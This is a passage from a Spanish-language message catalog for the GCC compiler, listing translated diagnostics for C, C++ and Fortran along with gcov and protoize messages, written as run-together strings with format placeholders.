%<chunk_size%>%Hel calendarizador %<runtime%> no toma un parámetro %<chunk_size%>%Hel ámbito %qT antes de %<~%> no es un nombre de clase%H%<>>%> sobrante, use %<>%> para terminar la lista de argumentos de plantilla%Hdeclaración sin efecto%Hlas expresiones de declaraciones no se permiten fuera de funciones ni en listas de argumentos plantilla%H%<@%> parásita en el programa%Hse sugieren llaves explícitas para evitar un %<else%> ambiguo%Hfalta el case por defecto para un switch%Hdeclaración de plantilla de %qs%Hel paquete de parámetros plantilla %qD no puede tener un argumento por defecto%Hel paquete de parámetros plantilla no puede tener un argumento por defecto%Hlos paquetes de parámetro de plantilla no pueden tener argumentos por defecto%Hespecialización de plantilla con enlazado C%Hplantilla con enlazado C%Hlas plantillas no pueden ser %<virtual%>%Hfaltan listas de parámetros de plantilla%Hdemasiadas cláusulas %qs%Hdemasiadas listas de parámetros de plantilla%HC tradicional carece de un espacio de nombres separado para etiquetas, el identificador %qE genera un conflicto con%Hse usa el nombre de definición de tipo %qD como un declarador de destructor%Hno se admite la concatenació no estándar de literales de cadena%Hno se utiliza el valor calculado%Hnunca se ejecutará%J  porque las siguientes funciones virtual son pure dentro de %qT:%J  entra al bloque catch%J  ya que el tipo %qT tiene funciones virtuales pure%J  cuando se inicializó aquí%J  puede evitar esto eliminando el inicializador%Jel atributo %<externally_visible%> sólo tiene efecto en objetos públicos%J%qD se debe inicializar en la lista de inicialización de miembros%J%qD se declaró aquí%Jel atributo %qE se aplica solamente a funciones%J%s %<%c%s%>%J%s %qs%Jmétodo abstracto en una clase que no es abstracta%Jno se puede especificar un atributo de área de direcciones para funciones%Jno se admiten las definiciones de alias en esta configuración%Jno se puede especificar un atributo de área de direcciones para variables locales%Jun struct anónimo no puede tener funciones miembro%Jun union anónimo no puede tener funciones miembro%Jla clase base %q#T debe ser inicializada explícitamente en la copia del constructor%Jpero no aquí%Jno se puede establecer el atributo %qE después de la definición%Jel valor de case %qs no es un tipo enumerado%Jel valor de case %qs no es un tipo enumerado %qT%Jgenera un conflicto con la declaración previa aquí%Jno se pueden especificar atributos de área para variables locales%Jel miembro de matriz flexible sería de otra manera un struct vacío%Jmiembro de matriz flexible en union%Jel miembro de matriz flexible no está al final del struct%Jdespués de la definición que no es prototipo aquí%Jla función puede ser un posible candidato para el atributo %<noreturn%>%Jinicializaciones para múltiples miembros de %qT%Juso inválido de una estructura con un miembro de matriz flexible%Jjump en el ámbito de un identificador con tipo modificado variablemente%Jsalto a una expresión de declaración%Jse dieron inicializaciones múltiples para %qD%Jse dieron inicializaciones múltiples para la base %qT%Jdefinición de función de estilo antiguo%Jdeclaraciones de parámetros de estilo antiguo en la definición de una función prototipo%Jsólo se admiten los aliases weak en esta configuración%Jla definición original apareció aquí%Jel parámetro %u tiene tipo incompleto%Jel parámetro %u tiene tipo void%Jfalta el nombre del parámetro de la lista de parámetros%Jse omitió el nombre del parámetro%Jdefinición previa aquí%Jse usó previamente aquí%Jno se puede especificar el atributo de sección para las variables locales%Jno se admiten atributos de sección en este objetivo%Jaquí está la declaración oscurecida%Jesta es la primera etiqueta por defecto%Jesta es la primera entrada que solapa ese valor%Jel tamaño total de los objetos locales es demasiado grande%JC tradicional rechaza la definición de funciones de estilo ISO C%Jel nombre del typedef puede no ser un especificador de nombre anidado%Jmiembro %qD sin inicializar con tipo %qT %<const%>%Jmiembro referencia %qD sin inicializar%Jvalor-inicialización de %q#D, el cual tiene el tipo de referencia%Jel atributo weakref debe aparecer antes de los atributos de alias%Jweakref no se admite en esta configuración%Kse intenta liberar un objeto que no es de pila%Kse intenta liberar un objeto %qD que no es de pila%Kla llamada a %D puede desbordar el almacenamiento temporal destino%Kla llamada a %D siempre desbordará el almacenamiento temporal destino%Kla llamada a %qs se redeclaró con error de atributo: %s%Kla llamada a %qs se redecló con aviso de atributo: %s%Kel primer argumento de %D debe ser un puntero, el segundo una constante entera%Kuso inválido de %<__builtin_va_arg_pack ()%>%Kuso inválido de %<__builtin_va_arg_pack_len ()%>%Kel último argumento de %D no es una constante entera entre 0 y 3La variable REDUCTION %c '%s' en %L debe ser de tipo numérico, es de tipo %sse encuentra(n) %d constructor(es)
se encuentra(n) %d  destructor(es)
se grabaron %d salidas para el ciclo %d (teniendo %d salidas)se encuentra(n) %d marcos de tabla(s)
se descartan los %d bits menos significativos de %s.no está compilado el modo bit-%i%q#D genera un conflicto con la declaración previa en uso %q#D%q#D esconde el destructor para %q#T%q#D es un dato miembro static; sólo se puede inicializar en su definición%q#D no es un dato miembro no static de %qT%q#D no es un miembro static de %q#T%q#D redeclarado como un tipo diferente de símbolo%q#T tiene miembros punteros a datos%q#T tiene funciones virtuales y destructor no virtual accesible%q#T no es una clase%q#T no es una clase o un espacio de nombres%q#T no es una plantilla%q#T no es un tipo válido para un parámetro constante de plantilla%q#T solamente define un destructor privado y no tiene friends%q#T solamente define constructores privados y no tiene friendsse usó %q#T donde se esperaba un %qTse usó %q#T donde se esperaba un valor de coma flotante%q+#D no se puede declararno se puede sobrecargar %q+#D%q+#D no se refiere al tipo sin calificar, así que no se usa para el enlazado%q+#D inválido; un struct anónimo sólo puede tener miembros con datos no estáticos%q+#D inválido; un union anónimo sólo puede tener miembros con datos no estáticos%q+#D es inaccesible%q+#D es privado%q+#D está protegidose define %q+#D previamente aquí%q+D es un alias del símbolo externo %qs%q+D es un alias del símbolo sin definir %qs%q+D se declaró anteriormente con el atributo dllimport: se descarta dllimport%q+D causa un conflicto de tipo de sección%q+D contiene clases vacías las cuales pueden causar que las clases base se coloquen en diferentes ubicaciones en una versión futura de GCC%q+D se declaró como friend%q+D se declaró como un no-parámetro%q+D declarado aquí%q+D se declaró con una especificación de excepción%q+D definido normalmente y como un alias al mismo tiempose define %q+D pero no se usa%q+D tiene una declaración previa como %q#D%q+D tiene una declaración previa aquí%q+D inválido en %q#T%q+D generalmente es una función que no es static%q+D no es una función,%q+D es estática pero se declaró en la función inline %qD la cual no es estática%q+D es demasiado pequeño para contener todos los valores de %q#T%q+D generalmente es una función%q+D no debe ser static porque es el miembro de una unión%q+D no puede tener el tipo de referencia %qT porque es el miembro de una unión%q+D redeclarado como un tipo diferente de símbolo%q+D se redeclara sin el atributo dllimport después de ser referenciado con enlazado dllimport%q+D se redeclara sin el atributo dllimport: se descarta el dllimport previo%q+D sólo toma cero o dos argumentosse usa %q+D antes de la declaración%q+D estaba escondidose usó %q+D sin declaración antes de su definiciónse usó %q+D sin prototipo antes de su definición%q+D se inicializará después de%q+D: se descarta el atributo de visibilidad porque%q+D: el atributo 'selectany' solamente se aplica a objetos inicializados%q+F se declaró %<static%> pero nunca se definese usa %q+F pero nunca se define%q+T tiene una declaración previa aquí%qD aparece más de una vez en las cláusulas de datosse descarta la directiva de atributo %qDel atributo %qD no tiene signifcado porque los miembros del espacio de nombres anónimo tiene símbolos localesel atributo %qD requiere un solo argumento NTBS%qD no puede aparece en una expresion constante%qD no se puede declarar virtual, ya que siempre es static%qD no se puede definir por omisión%qD no se puede inicializar con una expresion no constante al declararse%qD no puede ser thread-local porque es de tipo %qT que no es POD%qD no puede tener argumentos por defecto%qD cambió su semántica en GCC 4.4%qD se declaró como %s %<virtual%>%qD se declaró como %s %<inline%>%qD declarado como referencia pero no se inicializa%qD tiene un tipo de dato incompleto%qD tiene un tipo de dato incompleto%qD no tiene un miembro llamado %qE%qD tiene el mismo nombre que la clase en la cual se declaró%qD ya es un friend de %qT%qD ya es un friend de la clase %qT%qD ya se declaró en este ámbito%qD ya está definido en %qT%qD ya se definió en la clase %qT%qD ya está definido en la clase %qT%qD es tanto una base directa como una base virtual indirecta%qD es obsoleto (declarado en %s:%d)%qD no es una clase o un espacio de nombres%qD no es una plantilla de función%qD no es un miembro de %qT%qD no es una función plantilla miembro%qD no es un dato miembro static de una plantilla de clase%qD no es una plantilla%qD no es una función plantilla%qD no es un tipo%qD no es un argumento válido de plantilla porque %qD es una variable, no la dirección de una variable%qD no es una variable%qD no es una variable en la cláusula %<firstprivate%>%qD no es una variable en la cláusula %<lastprivate%>%qD no es una variable en la cláusula %qs%qD no se declaró en %qD%qD no está definido fuera del ámbito de la función%qD es estática pero se usa en la función inline %qD la cual no es estáticaq%D es thread-local y por lo tanto no se puede inicializar dinámicamentese utiliza %qD sin inicializar en esta funciónpuede ser que se utilice %qD sin inicializar en esta función%qD no se puede declarar como static%qD no se puede declarar dentro de un espacio de nombres%qD debe ser una función miembro que no sea static%qD debe ser una función miembro que no sea static o una función que no sea miembro%qD debe tener un argumento de tipo clase o enumerado%qD no debe tener un número variable de argumentos%qD debe tomar %<void%>%qD debe tomar uno o dos argumentos%qD debe tomar cero o un argumentos%qD debe tomar un argumento exactamente%qD debe tomar dos argumentos exactamenteno se declaró %qD%qD no está definido%qD se redeclaró con visibilidad diferente%qD se debería declarar dentro de %qD%qD nunca se debe sobrecargar%qD debe devolver por valorse usa %qD sin parámetros de plantilla%qD se declaró %<extern%> y después %<static%>%qD se declaró %qs lo cual implica visibilidad por defecto%qD no se declaró en este ámbito%qE aparece más de una vez en las cláusulas de datosel atributo %qE sólo se puede aplicar a definiciones de clases Javael atributo %qE sólo se puede aplicar a definiciones de claseEl atributo %qE genera un conflicto con el atributo %sel atributo %qE sólo tiene efecto en objetos públicosse descarta el atributo %qEse descarta el atributo %qE porque %qT ya está definidose descarta el atributo %qE para %qEse descarta el atributo %qE para el campo de tipo %qTse descarta el atributo %qE en tipos que no son clasesse descarta el atributo %qE en tiposel atributo %qE no se admite en esta plataformael atributo %qE se aplica solamente a funciones variadicel atributo %qE requiere prototipos con argumentos nombradosno se puede usar %qE como una funciónno se puede usar %qE como un puntero miembro, porque es de tipo %qT%qE se declaró %<threadprivate%> después del primer uso%qE falla al ser un typedef o un tipo interno del compilador%qE tiene tipo inválido para %<reduction%>%qE tiene tipo inválido para %<reduction(%s)%>%qE tiene tipo de referencia para %qs%qE se determina implícitamente ya que %<firstprivate%> tiene tipo de referencia%qE es un formato de tipo de función que no se reconoce%qE no es ni función ni función miembro; no se puede declarar friend%qE no es un argumento de plantilla válido para el tipo %qT%qE no es un argumento válido de plantilla para el tipo %qT porque la función %qD no tiene enlazado externo%qE no es un argumento válido de plantilla para el tipo %qT porque es una expresión que no es constante%qE no es un argumento de plantilla válido para el tipo %qT porque es un puntero%qE no es un argumento válido de plantilla para el tipo %qT porque no es un l-valor%qE no es un argumento de plantilla válido para el tipo %qT porque es de tipo %qT%qE no es un argumento válido de plantilla para el tipo %qT porque el objeto %qD no tiene enlazado externo%qE no es un argumento de plantilla válido para el tipo %qT debido a conflictos en la calificación cv%qE no es un argumento válido de plantilla para el tipo %qT porque las literales de cadena nunca se pueden usar en este contexto%qE no es un argumento válido de plantilla de tipo %qT porque %qD no tiene enlazado externo%qE no es un argumento válido de plantilla de tipo %qT porque %qE no es una variable%qE no es una variable en la cláusula %<firstprivate%>%qE no es una variable en la cláusula %<lastprivate%>%qE no es una variable en la cláusula %qs%qE no está al inicio de la declaración%qE no está inicializado%qE no es de tipo %qT%qE es obsoleto; las vtables de g++ ahora son compatibles con COM por defecto%qE está predeterminado como %qs para %qs%qE debe ser %<threadprivate%> para %<copin%>%qE necesita la opción isa %s%qE necesita la opción isa desconocida%qE refiere a un conjunto de funciones sobrecargadas%qT se declaró con mayor visibilidad que su base %qT%qT se declaró con mayor visibilidad que el tipo de su campo %qD%qT tiene una base %qT cuyo tipo usa el espacio de nombres anónimo%qT tiene un campo %qD cuyo tipo usa el espacio de nombres anónimo%qT no tiene un miembro llamado %qE%qT no tiene un dato miembro que no es static llamado %qD%qT es un tipo modificado variablemente%qT ya es un friend de %qT%qT es una base ambigua de %qT%qT es una base inaccesible de %qT%qT no es una base de %qT%qT no es una clase o un espacio de nombres%qT no es un tipo de clase%qT no es de tipo clase, struct o union%qT no es una plantilla de clase miembro de %qT%qT no es un miembro de %qT%qT no es un espacio de nombres%qT no es una base anidada de %qT%qT no es de tipo puntero-a-objeto%qT no es una plantilla%qT no es un tipo plantilla%qT no es una base inaccesible de %qT%qT se promueve a %qT cuando pasa a través de %<...%>%qT es/usa un tipo anónimose refirió a %qT como %qsse refirió a %qT como un enum%qT resuelve a %qT, el cual no es un tipo de clase%qT resuelve a %qT, el cual no es un tipo enumeradolos calificadores %qV no se pueden aplicar a %qT%qs parece ser un manejador de interrupciones mal escrito%qs parece ser un manejador de señales mal escritoel atributo %qs solamente se aplica a variables sin inicializar con enlazado externoel argumento del atributo %qs no es una constante de cadenael argumento del atributo %qs no es una constante enterase descarta la directiva de atributo %qsel atributo %qs no se aplica a tiposse descarta el atributo %qsel atributo %qs solo se admite para SH2Ael atributo %qs solo se aplica a SH2Ael atributo %qs se aplica solamente a tipos de funcionesel atributo %qs se aplica solamente a funcionesel atributo %qs se aplica solamente a funciones de interrupciónel atributo %qs solamente se aplica a variablesel atributo %qs solamente está disponible para 64-bitel atributo %qs requiere una constante entera como argumento%qs sólo se puede especificar para funciones%qs no puede tener atributos %<mips16%> y %<nomips16%> al mismo tiempo%qs se declara como exportado e importado de una DLL al mismo tiempo%qs que se declaró como función devuelve una función%qs que se declaró como función devuelve una matrizse definió %qs en un ámbito que no es una clase%qs no admite código MIPS16%qs espera una constante como argumentola función %qs usa el especificador de tipo %<auto%> sin un tipo de devolución latela función %qs con tipo de devolución late tiene %T como su tipo en lugar de un simple %<auto%>no se declaró la función %qs con tipo de devolución late con el especificador de tipo %<auto%>%qs tiene %<extern%> e inicializador al mismo tiempo%qs se ha desbordado%qs implica visibilidad por defecto, pero %qD ya se había declarado con una visibilidad diferentese descarta el atributo incompatible %qs%qs inicializado y declarado como %<extern%>%qs es obsoleto%qs es obsoleto (declarado en %s:%d)%qs es más estrecho que los valores de su tipo%qs no es un fichero de datos gcov%qs no es un nombre de fichero de salida válido%qs no es un nombre de clase o alias de Objective-C%qs no es válido para %qs%qs es versión %q.*s, se esperaba la versión %q.*s%qs tal vez no responde a %<%c%s%>%qs se debe usar con %qsno se especificó %qs en el paralelo que lo contiene%qs redeclarado como un tipo diferente de símbolo%qs se redeclaró con los atributos %qs en conflicto%qs requiere un objetivo que provea la instrucción %qs%qs requiere instrucciones con probabilidad de ramificaciónse usó la etiqueta %qs al nombrar a %q#T%qs utiliza alojamiento dinámico de pila%s%s
%s %+#D%s %+#D <coincidencia cercana>%s %+#T%s %D(%T) <interno>%s %D(%T, %T) <interno>%s %D(%T, %T, %T) <interno>%s %T <conversión>%s %q+D %s después de referenciarse con enlazado dllimport%s %qs no implementa completamente el protocolo %qs%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s '%s'
%s (desactive los avisos utilizando -mno-inefficient-warnings)La variable REDUCTION %s '%s' debe ser INTEGER en %LLa variable REDUCTION %s '%s' debe ser INTEGER o REAL en %LLa variable REDUCTION %s '%s' debe ser LOGICAL en %L%s en %L debe ser INTEGER%s en %L debe ser un escalarEl atributo %s se aplica a %s %s en %LNo se permite el atributo %s en %L fuera de la parte de especificación de un móduloEl atributo %s genera un conflicto con el atributo %s en %LEl atributo %s genera un conflicto con el atributo %s en '%s' en %LNo se permite el atributo %s en la unidad de programa BLOCK DATA en %LEl atributo %s de '%s' genera un conflicto con el atributo %s en %L%s entre diferentes tipos de punteros %qT y %qT carece de una conversión%s entre diferentes tipos de punteros a miembro %qT y %qT carece de una conversiónno se puede usar %s en asm aquí%s no se puede resolver la dirección de la función sobrecargadaEl objeto de cláusula %s '%s' tiene componentes ALLOCATABLE en %L%s no admite los formatos de operando numérico %%n$%s no admite %s%s no admite %s con el formato %<%%%c%> %s%s no admite block_ends_with_call_p%s no admite block_ends_with_condjump_p%s no admite can_duplicate_block_p%s no admite can_merge_blocks_p%s no admite can_remove_branch_p%s no admite create_basic_block%s no admite delete_basic_block%s no admite duplicate_block%s no admite flow_call_edges_add%s no admite make_forwarder_block%s no admite merge_blocks%s no admite move_block_after%s no admite predict_edge%s no admite predicted_by_p%s no admite redirect_edge_and_branch%s no admite redirect_edge_and_branch_force%s no admite split_block%s no admite split_edge%s no admite el formato %<%%%c%> %s%s no admite el formato %<%%%s%c%> %s%s no admite el modificador de longitud %qs %s%s espera una literal entera en el rango [%d, %d].%s espera una literal entera en el rango [%d, %d]. (se trata la lista de expresiones %s como una expresión compuesta%s para %<operator%s%> en %<%E %s %E%>%s para %<operator%s%> en %<%E%s%>%s para %<operador%s%> en %<%s%E%>%s para el %<operador[]%> en %<%E[%E]%>%s para %qs en %<%s %E%>%s para el %<operator?:%> terniario en %<%E ? %E : %E%>%s no tiene efectose descarta %s con %s y el formato %<%%%c%> %sse descarta %s con %s en el formato %s%s en la cadena de formato en %L%s es una referencia, no una llamada, a la función %qE%s no es un nombre de procedimiento INTRINSIC en %C%s no se admite en esta configuración%s puede ser un candidato para un atributo de formato%s de la función %qD%s de la ubicación de sólo lectura %qE%s del valor de devolución nombrado de sólo lectura %qD%s del parámetro de sólo lectura %qD%s de la referencia de sólo lectura %qD%s sólo acepta %d argumentos%s sólo acepta 1 argumento%s sólo acepta 2 argumentos%s sólo está disponible con -std=c++0x o -std=gnu++0xEl procedimiento %s en %L ya se había declarado como un procedimiento %s%s devolvió el estado de salida %d%s debe ser de tipo %<%T%s%>, pero el argumento %d es de tipo %qT%s debe ser de tipo %<%s%s%>, pero el argumento %d es de tipo %qTEl especificador %s en la declaración %s en %C tiene el valor inválido '%s'La declaración %s en %C no puede ir después de la declaración %s en %LLa declaración %s en %C no puede terminar un ciclo DO que no es bloqueLa declaración %s en %C después de otra especificación de accesibilidadLa declaración %s en %C no está dentro de un cicloLa declaración %s en %C no está dentro del ciclo '%s'La declaración %s en %C deja un bloque estructurado OpenMPSe esperaba la declaración %s en %LLa declaración %s debe aparecer en un MODULENo se permite una declaración %s en el procedimiento PURE en %CLa etiqueta %s en %L debe ser de tipo %sLa etiqueta %s en %L debe ser escalar%s terminado con la señal %d [%s]%sse usó %s con el formato %<%%%c%> %sla variable %s %qs es private en el contexto externo%s%s%s %sversión %s (%s)
%s	compilado por GNU C versión %s, %s%s%s %sversión %s (%s) compilado por CC, %s%sGGC heurísticas: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%saviso: el encabezado %s versión %s difiere de la versión de la biblioteca %s.
%s-%s es un rango vacío%s: %d bloques básicos y %d bloques borde/básicos%s: %d bloques básicos y %d registros%s: %d: se usa '%s' pero falta en SYSCALLS
%s: %d: aviso: se excluyó '%s' por el preprocesamiento
%s: %d: aviso: no se convirtió la definición de %s
%s: %d: aviso: se encontró '%s' pero se esperaba '%s'
%s: %d: aviso: no hay definición extern para '%s'
%s: %d: aviso: código fuente demasiado confuso
%s: %d: aviso: no se convirtió la declaración de la función varargs
%s: %s%s: el compilador %s no está instalado en este sistema%s: %s terminó con estado %d
%s: %s: no se puede obtener el estado: %s
%s: no se convirtió '%s'
%s: los argumentos --param deben ser de la forma NOMBRE=VALOR%s: Por lo menos no se puede manejar un operando%s: No se puede abrir el fichero de salida: %s
%s: No se puede cerrar el fichero de salida %s
%s: El cuarto operando fuente no es una constante%s: el fichero PCH era inválido%s: El segundo operando fuente no es una constante%s: El tercer operando fuente no es una constante%s: se intentó renombrar la especificación '%s' a la especificación '%s' que ya estaba definida%s: no se puede cambiar el modo del fichero '%s': %s
%s: no se puede crear/abrir el fichero limpio '%s': %s
%s: no se puede crear/abrir el fichero de salida '%s': %s
%s: no se puede borrar el fichero de información auxiliar '%s': %s
%s: no se puede borrar el fichero '%s': %s
%s: no se puede obtener el estado del fichero '%s': %s
%s: no se puede obtener el estado del fichero de información auxiliar '%s': %s
%s: no se puede enlazar el fichero '%s' a '%s': %s
%s: no se puede abrir el fichero de información auxiliar '%s' para lectura: %s
%s: no se puede abrir el fichero '%s' para lectura: %s
%s: no se puede leer el fichero de información auxiliar '%s': %s
%s: no se puede obtener el directorio de trabajo: %s
%s: no se puede abrir como un fichero COFF%s: compilando '%s'
%s: listas de conflictos para '%s' a continuación:
%s: definiciones extern de '%s' en conflicto
%s: se convierte el fichero '%s'
%s: no se puede abrir el fichero PCH: %m%s: no se convirtió la declaración de la función '%s'
%s: las declaraciones de '%s' no se convertirán
%s: no se convirtió la definición de la función '%s'
%s: error al cerrar el fichero de información auxiliar '%s': %s
%s: error al leer el fichero de información auxiliar '%s': %s
%s: error al escribir al fichero '%s': %s
%s: se encontró la definición de '%s' en %s(%d)
%s: no se convirtió la definición de la función
%s: no se insertaron las declaraciones globales para el fichero '%s'
%s: los nombres de fichero de entrada deben tener sufijos .c: %s
%s: nombre de fichero inválido: %s
%s: no se usó el fichero de entrada del enlazador porque no se hizo enlace%s: no se insertó la declaración local para la función '%s'
%s: definiciones static múltiples de '%s' en el fichero '%s'
%s: no es un fichero COFF%s: el subproceso recibió la señal fatal %d
%s: modo de empleo '%s [ -VqfnkN ] [ -i <cadena-i> ] [ nombre_fichero ... ]'
%s: modo de empleo '%s [ -VqufnkNlgC ] [ -B <nombre_directorio> ] [ nombre_fichero ... ]'
%s: wait: %s
%s: aviso: no se puede renombrar el fichero '%s' a '%s': %s
%s: aviso: el fichero '%s' ya se había guardado en '%s'
%s: aviso: falta el fichero SYSCALLS '%s'
%s: aviso: no hay acceso de lectura para el fichero '%s'
%s: aviso: no hay definición static para '%s' en el fichero '%s'
%s: aviso: no hay acceso de escritura para el directorio que contiene a '%s'
%s: aviso: no hay acceso de escritura para el fichero '%s'
%s: aviso: demasiadas listas de parámetros en la declaración de '%s'
%s: aviso: usando listas formales de %s(%d) para la función '%s'
%s: se podría convertir el fichero '%s'
%s:%d: Directiva de preprocesamiento ilegal%s:%d: confusión por errores previos, saliendo
%s:%d: la declaración de la función '%s' toma formas diferentes
%s:%d: se dejó el fichero %s pero no se entró%s:'%s' tiene arcos del bloque de salida
%s:'%s' tiene arcos hacia el bloque de entrada
%s:'%s' carece de bloques de entrada y/o salida
%s:ya se vieron bloques para '%s'
%s:no se puede abrir el fichero de datos, se asume que no se ejecutó
%s:no se puede abrir el fichero de grafo
%s:no se puede abrir el fichero fuente
%s:corrupto
%s:no se puede abrir el fichero de salida '%s'
%s:creando '%s'
%s:error al escribir el fichero de salida '%s'
%s:no se puede resolver el grafo para '%s'
%s:no se encontraron funciones
%s:no hay líneas para '%s'
%s:no es un fichero de datos gcov
%s:no es un fichero de grafo gcov
%s:desbordado
%s:no coincide el perfil para '%s'
%s:el fichero fuente es más nuevo que el fichero de grafo '%s'
%s:no coincide la marca con el fichero de grafo
%s:función '%u' desconocida
%s:versión '%.4s' se prefiere '%.4s'
%s:versión '%.4s', se prefiere la versión '%.4s'
%salign-functions%s es obsoleto, use -falign-functions%s%salign-jumps%s es obsoleto, use -falign-jumps%s%salign-loops%s es obsoleto, use -falign-loops%s%salign-loops=%d%s no está entre 0 y %d%sbranch-cost=%d%s no está entre 0 y 5%slarge-data-threshold=%d%s es negativo%spreferred-stack-boundary=%d%s no está entre %d y 12se descarta %sregparm%s en modo de 64-bit%sregparm=%d%s no está entre 0 y %dse descarta %srtd%s en el modo de 64bitse usó %ssseregparm%s sin SSE activado%stune=x86-64%s es obsoleto.  Use en su lugar %stune=k8%s o %stune=generic%s como sea adecuado.'opción ' 'opción '!'opción '#''%%%c' no es un prefijo de operando válidoel operando '%%l' no es una etiquetaYa se definió '%s' como un enlace específico para el genérico '%s' en %LLos argumentos '%s' y '%s' del intrínseco '%s' en %L deben tener el mismo tipo'%s' y '%s' no pueden ser FUNCTION/SUBROUTINE mezcladas para el GENERIC '%s' en %L'%s' y '%s' para el GENERIC '%s' en %L son ambiguosEl argumento '%s' del intrínseco '%s' en %L no puede ser INTENT(IN)El argumento '%s' del intrínseco '%s' en %L debe ser %sEl argumento '%s' del intrínseco '%s' en %L debe ser ALLOCATABLEEl argumento '%s' del intrínseco '%s' en %L debe ser INTEGER o LOGICALEl argumento '%s' del intrínseco '%s' en %L debe ser INTEGER o PROCEDUREEl argumento '%s' del intrínseco '%s' en %L debe ser INTEGER o REALEl argumento '%s' del intrínseco '%s' en %L debe ser REAL o COMPLEXEl argumento '%s' del intrínseco '%s' en %L debe ser un POINTEREl argumento '%s' del intrínseco '%s' en %L debe ser un POINTER o un TARGETEl argumento '%s' del intrínseco '%s' en %L debe ser una constanteEl argumento '%s' del intrínseco '%s' en %L debe ser una matriz lógicaEl argumento '%s' del intrínseco '%s' en %L debe ser de un tipo no derivadoEl argumento '%s' del intrínseco '%s' en %L debe ser un tipo numéricoEl argumento '%s' del intrínseco '%s' en %L debe ser un puntero u objetivo VARIABLE o FUNCTIONEl argumento '%s' del intrínseco '%s' en %L debe ser un escalarEl argumento '%s' del intrínseco '%s' en %L debe ser una variableEl argumento '%s' del intrínseco '%s' en %L debe ser una matrizEl argumento '%s' del intrínseco '%s' en %L debe ser real por defectoEl argumento '%s' del intrínseco '%s' en %L debe ser de doble precisiónEl argumento '%s' del intrínseco '%s' en %L debe ser menor que el rango %dEl argumento '%s' del intrínseco '%s' en %L debe ser numérico o LOGICALEl argumento '%s' del intrínseco '%s' en %L debe ser de una variable dummyEl argumento '%s' del intrínseco '%s' en %L debe ser de un género que no sea más ancho que el género por defecto (%d)El argumento '%s' del intrínseco '%s' en %L debe ser de una variable dummy OPTIONALEl argumento '%s' del intrínseco '%s' en %L debe ser del género %dEl argumento '%s' del intrínseco '%s' en %L debe ser del rango %dEl argumento '%s' del intrínseco '%s' en %L debe ser de rango 1 o 2El argumento '%s' del intrínseco '%s' en %L debe ser de tipo REAL o COMPLEXEl argumento '%s' del intrínseco '%s' en %L debe ser del mismo género que '%s'El argumento '%s' del intrínseco '%s' en %L debe ser del mismo tipo y género que '%s'El argumento '%s' del intrínseco '%s' en %L no debe ser OPTIONALEl argumento '%s' del intrínseco '%s' en %L no debe ser un subobjeto de '%s'El argumento '%s' del intrínseco '%s' en %L no debe estar presente si 'x' es COMPLEX¡'%s' en %C ya se había definido como un procedimiento FINAL!'%s' en %C no es un miembro de la estructura '%s''%s' en %C no es una variable'%s' en %C es el nombre de una función recursiva y por lo tanto se refiere a la variable de resultado. Use una variable RESULT explícita para recursión directa (12.5.2.1)'%s' en %L ya se inicializó en %L'%s' en %L y la FUNCION sobreescrita deben tener tipos de resultado coincidentes'%s' en %L no puede tener el atributo VALUE porque no es un argumento dummy'%s' en %L tiene un tipo, el cual no es consistente con CALL en %L'%s' en %L tiene atributos especificados fuera de su cuerpo INTERFACE'%s' en %L es ambiguo'%s' en %L es una matriz y OPTIONAL; SI FALTA, no puede ser el argumento actual de un procedimiento ELEMENTAL a menos que exista un argumento que no sea opcional con el mismo rango (12.4.1.5)'%s' en %L no es un VALUE'%s' en %L no es una función'%s' en %L no es un procedimiento de módulo'%s' en %L es del tipo ABSTRACT '%s''%s' en %L debe tener longitud de cáracter constante en este contexto'%s' en %L debe tener el mismo nombre de argumentos formales que el procedimiento sobreeescrito'%s' en %L sobreescribe una FUNCTION y también debe ser una FUNCTION'%s' en %L sobreescribe un enlace NOPASS y también debe ser NOPASS'%s' en %L sobreescribe un procedimiento PUBLIC y no debe ser PRIVATE'%s' en %L sobreescribe un procedimiento PURE y también debe ser PURE'%s' en %L sobreescribe una SUBROUTINE y también debe ser una SUBROUTINE'%s' en %L sobreescribe un enlace con PASS y también debe ser PASS'%s' en %L sobreeescribe un procedimiento que no es ELEMENTAL y tampoco debe ser ELEMENTAL'%s' en %L sobreescribe un enlace de procedimiento declarad como NON_OVERRIDABLE'%s' en %L sobreescribe un procedimiento ELEMENTAL y también debe ser ELEMENTAL'%s' en %L debe ser una FUNCTION'%s' en %L debe ser una SUBROUTINE'%s' no se puede extender en %C porque es BIND(C)'%s' no se puede extender en %C porque es un tipo SEQUENCENo existe '%s' declarado como INTRINSIC en %L'%s' declarado en %L es también el nombre de un intrínseco.  Sólo se puede llamar a través de una interfaz explícita o si se declara EXTERNAL.'%s' declarado en %L puede oscurecer al intrínseco del mismo nombre. Para llamar al intrínsico, tal vez se requieran declaraciones INTRINSIC explícitas.'%s' en la expresión EXTENDS en %C no es un tipo derivado'%s' en la asignación de puntero en %L no puede ser un l-valor ya que es un procedimiento'%s' ya se IMPORTó desde la unidad de ámbito del anfitrión en %C.'%s' no es un nombre de clase válido'%s' debe ser un procedimiento de módulo o un procedimiento externo con una interfaz explícita en %L'%s' no debe aparecer en la especificación de matriz en %L en la misma declaración ALLOCATE donde se aloja a sí misma'%s' de '%s' es PRIVATE en %C'%s' se asignó a '%s', pero no se definió durante la recompilación, o viceversano se permite '&' por sí solo en la línea %dopción '''opción '('opción '+''-%c' debe estar al inicio de la línea de comandosla opción '-%c' debe tener argumentosopción '-''-fd-lines-as-code' no tiene efecto en formato libre'-fd-lines-as-comments' no tiene efecto en formato libreopción '0'Se necesita '::' en el enlace PROCEDURE con objetivo explícito en %Cel operando 'B' tiene establecidos múltiples bitsel operando 'B' no es una constantemodificador 'E'opción 'I'El argumento 'MOLD' del intrínseco 'TRANSFER' en %L no debe ser %smodificador 'O'opción '^'opción '_'El argumento 'a%d' del intrínseco '%s' en %L debe ser %s(%d)opción 'a'El argumento 'a1' del intrínseco '%s' en %L debe ser INTEGER, REAL o CHARACTERel argumento 'dim' del intrínseco '%s' en %L no es un índice de dimensión válidoel argumento 'dim' del intrínseco '%s' en %L no es un índice de dimensión válidoopción 'm'el operando 'o' no es una constanteopción 'q'El argumento 'shape' del intrínseco 'reshape' en %L tiene más de %d elementosEl argumento 'shape' del intrínseco 'reshape' en %L debe ser una matriz de tamaño constanteEl argumento 'source' del intrínseco 'shape' en %L no debe ser una matriz de tamaño asumido(C)(Mensajes sin una firma de método coincidente(un puntero a miembro solamente se puede formar con %<&%E%>)(se requiere una inicialización fuera de la clase)(si esta no es su intención, asegúrese que la plantilla de la función ya ha sido declarada y agregue <> aquí después del nombre de la función) (si utiliza 